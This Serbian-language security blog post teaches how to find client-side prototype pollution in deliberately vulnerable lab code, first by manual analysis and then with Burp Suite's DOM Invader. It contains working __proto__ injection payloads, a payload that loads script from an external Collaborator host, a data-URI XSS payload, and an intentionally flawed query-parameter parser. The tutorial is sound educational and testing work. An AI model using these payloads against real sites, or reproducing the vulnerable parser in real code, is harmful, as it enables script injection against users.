Address
304 North Cardinal St.
Dorchester Center, MA 02124

Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM

Prototype Pollution 2. deo

Ovo je drugi deo u seriji blog prostova o prototype pollution ranjivosti. U prvom delu objasnili smo šta je to ranjivost, kako nastaje. U ovom postu ćemo objasniti kako pronaći datu ranjivost koristeći manuelnu analizu koda kao i automatizovanje korišćenjem burpsuite skenera.

Prvi primer koji ćemo testirati je manje više nemodifikovani primer iz prvog dela. Link za sve primere možete naći na url-u

https://github.com/pulsarpoint-rs/prototype_pollution

U readme.md fajlu se nalazi upustvo kako lokalno podići okruženje za testiranje.

Primer ex1

Prvi primer je primer prikazan u prvom blog postu o Prototype Pollution ranjivosti

 

Pre nego što krenemo u samo testiranje ranjivosti da ponovimo koje su komponente potrebne da bi smo imali prototype pollution ranjivosti?

  • Prototype pollution source

    To je deo koda koje omogućava da se neki parametar importuje u Object.prototype

  • Prototype pollution gadget je deo kod koji omogućava da se dati parametar iz Object.prototype koristi u aplikaciji, to je deo koda koji moramo pronaći u ranjivoj aplikaciji. Tačan naziv datog atributa nam je potreban da bi smo znali u koji parametar u Object.prototype-u je ranjiv.

  • Prototype pollution sink je deo koji koda koji dati atribut koristi da na neki način taj atribut postane aktivan u aplikaciji.

vratimo se sada na naš prvi primer

u destination object polju unosimo objekat u koji će se spojiti objekat iz source object polja.

Nakon što korisnik klikne na submit dugme merged object sadrži polja iz oba objekta (source, destination).

  1. Potrebno je prvo proveriti da li je postoji prototype pollution source.

 

To ćemo uraditi tako što u source object unesemo JSON koji u sebi sadrži atribut koji bi u slučaju ranjive merge operacije bio dodat u u Object.prototype

				
					{"__proto__":{"test":"test prototype pollution"}}

{"constructor":{"prototype":{"test":"test prototype pollution"}}
				
			

Unećemo date vrednosti i proveriti u konzoli da li je Object.prototype dobio parametar test sa vrednošću “test prototype pollution”

 

Prvo ćemo probati sa prvom vrednošću

Nakon uspešne merge operacije proverimo u konzoli da li je Object.prototype updejtovan. U našem slučaju jeste i vidimo dodatu vrednost test koja sadrži test prototype pollution.

Ovim smo našli prototype pollution source u ovom slučaju to predstavlja json koji se unosi u source object polje u formi.

Sledeće šta je potrebno jeste pronaći prototype pollution gadget–sink.

U našem slučaju pošto je ovo testni primer i možemo lako analizirati manuelno kod aplikacije. 

Click funkcija koja se poziva klikom na submit button sadrži sink i gadget za naš prototype pollution

				
					let analytics_script = config.analytics_script || defaults.analytics_script
let script = document.createElement('script');
script.src= analytics_script;
document.body.appendChild(script);
				
			

U slučaju da uspešno da modifikujemo analytics_script atribut, možemo definisanti proizvoljnu vrednost u script src tagu.

				
					let analytics_script = config.analytics_script || defaults.analytics_script
				
			

config.analytics_script nije definisana nigde pre toga. Ova linija u kodu definiše varijablu analytics_script tako što proveri da li config.analytics_script nije false/undefined ako nije analiytics_script postaje data vrednost, ako jeste onda se vrednost preuzima iz default.analytics_script.

ako napadač ima kontrolu nad analytics_script atributom ima kontrolu nad sink-om u prototype pollution ranjivosti. Napadač može kontrolisati sadržaj src atributa u script tag-u.

Probajmo sada da modifikujemo analytics_script koristeći payload koji će script src (<script src>) tag postaviti na URL od BurpSuite Collaborator servera.

				
					{"__proto__":{"analytics_script":"http://adricmntanpt8zyvt523c4x5ewkn8hw6.oastify.com"}}
				
			

Startujemo BurpSuite Collaborator da bi smo mogli da proverimo da li data akcija pokreće HTTP zahtev ka analytics_script URL-u i pokušati da učita sadrzaj.

 

I nakon klika na merge dugme vidimo zahtev u okviru BurpSuite collaborator-a

Nakon što smo uspešno modifikovali analytics_script definisali smo sve. Pokušajmo sa modifikacijom analytics_script atributa tako da direktno možemo izvršiti XSS (Cross Site Scripting)

				
					analtyics_script: "data:,alert(1)"
				
			

Da pojasnimo ukratko šta predstavlja sadržaj 

				
					data:,alert(1)
				
			

alert(1) je javascript funkcija koja prikazuje alert window. Funkcija se često koristi za demonstraciju XSS-a pošto je njena vizualne reprezentacija upadljiva.

pre alert(1) postoji: data:,

Data je URI šema koja omogućava embedovanje nekog resursa u okviru html taga. Dati atribut se može koristiti za embedovanje: slike, fontova, javscript koda

 

Kako se koristi data URI schema

				
					data:[<mediatype>][;base64],<data> 
				
			
  • mediatype bi trebalo da bude tip podataka koji je embedovan
  • base64 se unosi samo ako je base64 enkodovan string
  • data na kraju su sami podaci

Mediatype se inferencira od strane script taga. Pravilno popunjen data tag bi izgledao ovako

				
					data:text/html,<script>alert(1)</script>
				
			

ali pošto je text/html podrazumevani mediatype, script tagovi takodje nisu potrebni ako se učitava sadržaj skripte direktno sa script tag, onda je dovoljno uneti 

				
					data:,alert(1)
				
			
Primer ex2
				
					function search() {
        let config = {params: deparam(new URL(location).searchParams.toString())};
        let default_config ={}
        let param = 'c4z3a0121rj21ofew8fh31o4h32uoifdsyaf89o3h1i2hufsafdsahjfkdslaf';
        let analytics_script = config[param] || defaults.analytics_script
        let script = document.createElement('script');
        script.src= analytics_script;
        document.body.appendChild(script);
    }
				
			

search funkcija se poziva prilikom učitanjava strane, za to se koristi event load 

				
					window.addEventListener("load", search);
				
			

Prototype Pollution gadget u ovom slučaju je deparam funkcija koja je ima propust koji dozvoljava napadaču da u url query parametru definiše __proto__ objekat sa proizvoljnim ključem i vrednošću a funkcija će date parametre dodati u Object.prototype

				
					var deparam = function( params, coerce ) {
        var obj = {},
            coerce_types = { 'true': !0, 'false': !1, 'null': null };
    
        if (!params) {
            return obj;
        }

        // used from portswagger PrototypePollution labs
        params.replace(/\+/g, ' ').split('&').forEach(function(v){
            var param = v.split( '=' ),
                key = decodeURIComponent( param[0] ),
                val,
                cur = obj,
                i = 0,
    
                keys = key.split( '][' ),
                keys_last = keys.length - 1;
    
            if ( /\[/.test( keys[0] ) && /\]$/.test( keys[ keys_last ] ) ) {
                keys[ keys_last ] = keys[ keys_last ].replace( /\]$/, '' );
                keys = keys.shift().split('[').concat( keys );
                keys_last = keys.length - 1;
            } else {
                keys_last = 0;
            }
    
            if ( param.length === 2 ) {
                val = decodeURIComponent( param[1] );
    
                if ( coerce ) {
                    val = val && !isNaN(val) && ((+val + '') === val) ? +val        // number
                        : val === 'undefined'                       ? undefined         // undefined
                            : coerce_types[val] !== undefined           ? coerce_types[val] // true, false, null
                                : val;                                                          // string
                }
    
                if ( keys_last ) {
                    for ( ; i <= keys_last; i++ ) {
                        key = keys[i] === '' ? cur.length : keys[i];
                        cur = cur[key] = i < keys_last
                            ? cur[key] || ( keys[i+1] && isNaN( keys[i+1] ) ? {} : [] )
                            : val;
                    }
    
                } else {
                    if ( Object.prototype.toString.call( obj[key] ) === '[object Array]' ) {
                        obj[key].push( val );
    
                    } else if ( {}.hasOwnProperty.call(obj, key) ) {
                        obj[key] = [ obj[key], val ];
                    } else {
                        obj[key] = val;
                    }
                }
    
            } else if ( key ) {
                obj[key] = coerce
                    ? undefined
                    : '';
            }
        });
    
        return obj;
    };
				
			
Svrha funkcije je parsiranje query parametara, međutim prilikom parsiranja nema validacije za naziv atributa. Ovim napadač ima mogućnost da setuje atribut na __proto__ ili constructor.prototype. Ovim je omogućeno da se upiše proizvoljna vrednost u Object.prototype.

Praktični deo nalaženja da li postoji Prototype pollution source je relativno jednostavan za dinamičku analizu. Potrebno je pronaći što više potecijalninih inputa koji mogu biti prototype pollution source i prostim unosom neke od testnih vrednost testirati da li se ‘random_vrednost’ pronađe u Object.prototype-u.

				
					// testne vrednosti kojima se proverava da li je dati parametar prototype pollution source
__proto__['random_vrednost']='injected value';
__proto__.'random_vrednost='injected value'
constructor.prototype['random_vrednost']='injected value'
				
			

Ako smo uspešno smo dodali vrednost u Object.prototype imamo parametar koji je prototype pollution source. U većini ranjivih aplikacija pronaći source prototype pollution-a, nije toliko komplikovano.

Deo koji je u većini aplikacija komplikovaniji jeste pronaći odgovarajući gadget – sink. Pronaći gadget – sink u kodu najčešće zahteva analizu source koda. Taj deo u moderim aplikacijama može biti izuzetno komplikovan. Ako aplikacija sadrži hiljade linja minifikovanog koda, analiza takve aplikacije manuelno zahteva dosta vremena.

Za pomoć u ovim slučajevima možemo koristi BurpSuite Dom Invader plugin.

Za one koji ne znaju BurpSuite je software za testiranje sigurnosti webaplikacija

Software ima dve licence

  • Komercijalnu
  • Communiti

Communiti verzija je besplatna i ima ogranjičenja u odnosu na komercijalnu veziju ali za potrebe testiranja konkretne ranjivosti community verzija je identična kao komercijana verzija.

 

Burpsuite dolazi sa pre instaliram chromium browserom i vec instaliranim pluginom Dom Invader. Sledeći video prikazuje kako izgleda pokretanje chromium browswera i aktivaranje Dom inadera ako već nije aktiviran kao ekstenzija.

Ali pre nego što krenemo testiranje ranjivosti korišćenjem DOM–Invadera pogledajmo source kod search funkcije u primeru ex2

				
					function search() {
        let config = {params: deparam(new URL(location).searchParams.toString())};
        let default_config ={}
        let param = 'c4z3a0121rj21ofew8fh31o4h32uoifdsyaf89o3h1i2hufsafdsahjfkdslaf';
        let analytics_script = config[param] || defaults.analytics_script
        let script = document.createElement('script');
        script.src= analytics_script;
        document.body.appendChild(script);
    }
				
			

u funkciji postoji param varijabla koja sadrži dugačak random string a zatim se sadržaj date varijable koristi kao referenca za vrednost u okviru config objekta da se proveri da li je postoji definisan parametar u datoj varijabli i ako ne postoji koristi se defaults.analytics_script

ako postoji vrednost, onda se vrednost upisuje u analytics_script i koristi dalje u kodu za script.src. Povezivanje analytics_script varijable sa script.src tagom predstavlja prototype pollution sink.

Ovde postoje dve stvari koje traže dodatno objašnjenje. 

  1. zašto se parametar u config objektu referiše preko varijable a ne direktno

zašto koristimo param na ovaj način

				
					let param = 'c4z3a0121rj21ofew8fh31o4h32uoifdsyaf89o3h1i2hufsafdsahjfkdslaf';
let analytics_script = config[param] || defaults.analytics_script
				
			

a ne na ovaj?

				
					let analytics_script = config['c4z3a0121rj21ofew8fh31o4h32uoifdsyaf89o3h1i2hufsafdsahjfkdslaf'] || defaults.analytics_script
				
			

2. Zašto uopšte ovaj naziv varijable?

Cilj ovog primera (ex2) je da utvrdimo da li alat koji vrši automatsko skeniranje kao što je BurpSuite DOM Invider može da otkrije dati sink. Ako bii ručno analizirali ovih 6 linija koda u search funkciji, mogli bi smo odmah da utvrdimo gde je problem. Ali nije uvek 6 linija koda, nekada je u pitanju 100k linija uglifikovanog i minifkovanog koda koji je potrebno analizirati. To je prilično teško manuelno izvesti. Za takvu analizu alati koji omogućavaju automasko skeniranje koda za sink i gadget funkcionalnosti su od izuzetnog značaja. Cilj nam je da vidimo da li DOMInvider ima sposobnost da dynamički analizira kod i utvrdi koji parametar mora biti ubačen u Object.prototype da bi ranjivost bila aktivna. 

Da bi ste se upoznali malo detaljnije sa Dom Invaderom možete posetiti sledeći link, gde možete naći više informacija 

https://youtu.be/Wd2R47czzO0

Pogledajmo kako se DOM Inveder snalazi sa primerom ex2

DOM Inveder je uspešno detektovao sve komponente Prototype Pollution. Prvo je detektovno sam source prototype pollution-a a to je Query String. Zatim je DOM invader uspešno pronašao sink i gadget. Metoda kojom Dom Inveder pronalazi odgovarajuići sink nije brute force već je to urađeno dinamičkom kod analizom.

Sada ćemo probati istu test ali ovog puta sa primerom ex2.1 

Pogledajmo source kod funkcije search u primeru ex2.1

				
					function search() {
        let config = {params: deparam(new URL(location).searchParams.toString())};
        let default_config ={}
        let param = 'YzR6M2EwMTIxcmoyMW9mZXc4ZmgzMW80aDMydW9pZmR';
        param +=  'zeWFmODlvM2gxaTJodWZzYWZkc2FoamZrZHNsYWY=';
        param = atob(param)
        let analytics_script = config[param] || defaults.analytics_script
        let script = document.createElement('script');
        script.src= analytics_script;
        document.body.appendChild(script);
}
				
			

U primeru smo povećali kompleksnost za ponalaženje pravog sinka za prototype pollution. DOM Invader će morati da prepozna da param varijabla sadrži ime atributa encodovano base64 encodingom. Zatim da dekoduje dati string da bi dobio tačan naziv varijable koja će biti korišćenja kao injection pointa u Object.prototype.

 

Testirajmo dati primer sa DOM invader-om

 

 

Kao što vidimo DOM Inveder je uspešno detektovao Prototype Pollution. Prvo je naravno pronađen source, a zatim bez većih problema ponašao odgovarajući gadget – sink. 

Pogledajmo primer ex2.2

Ovo je primer gde je pored pronalaženje prototype pollution gadget-a potrebno pronaći i prototype pollution sink koji si ovog puta nalazi u okvir if uslova. Ovo je takođe čest slučaj u biznis aplikacijama. Potrebno da odgovarajuća logika u okviru aplikacije bude ispunjena da bi određeni deo koda postao aktivan.

 

Pokušajmo sa ovim primerom da vidimo da li DOM Invader uspešno pronalazi šta je potrebno od biznis logike da bude zadovoljeno da bi se aktivirao prototype pollution gadget.

				
					function search() {
        let config = {params: deparam(new URL(location).searchParams.toString())};
        // console.log("config", config)
        let default_config ={}
        let param = 'YzR6M2EwMTIxcmoyMW9mZXc4ZmgzMW80aDMydW9pZmR';
        param +=  'zeWFmODlvM2gxaTJodWZzYWZkc2FoamZrZHNsYWY=';
        param = atob(param)
        let analytics_script = config[param] || defaults.analytics_script
        if (config.params.hidden_param == 10) {
            let script = document.createElement('script');
            script.src= analytics_script;
            document.body.appendChild(script);
        }
    }
				
			

Kao što vidimo prototype pollution source je detektovan ali logika koja je potrebna da bi se aktivirao prototype pollution sink, nije. Onda smo dodali u query parametrima vrednost hidden_param. Setovali dati parametar na vrednost 10 i tek u tom slučaju Dom Invader je uspešno detekovao gadget i sink. Ovo pokazuje da ni DOM Invader nije svemoguć pri analizi koda. Zato je kod testiranja bitno da u slučaju da je prototype pollution source detektovan, kroz aplikaciju aktivirati što veći broj grana u okviru aplikacije i time povećati šansu da DOM invader detektuje datu ranjivost. 

Automasko skeniranje koda daje nam mogućnost da brže otkrijemo ranjivosti u aplikaciji, ali kao što smo videli iz primera ni napredni dynamic/static code analysis alati nisu svemogući. Alati su tu da pomognu i u kombiniaciji sa manuelnim testiranjem i dobrom enumeracijom aplikacije moguće je pronaći veći broj ranjivosti nego što bi bio pronađen bilo kojom metodom pojedinačno. Ovo je naročito bitno ako se ranjivi kod u aplikaciji nalazi u okviru koda koji da bi se izvršio potrebno je zadovoljiti više nekih uslova u aplikaciji.

U sledećem blog postu ćemo obraditi temu server side prototype pollution-a i način na koji detektujemo takve ranjivosti.

Vaš Pulsarpoint security tim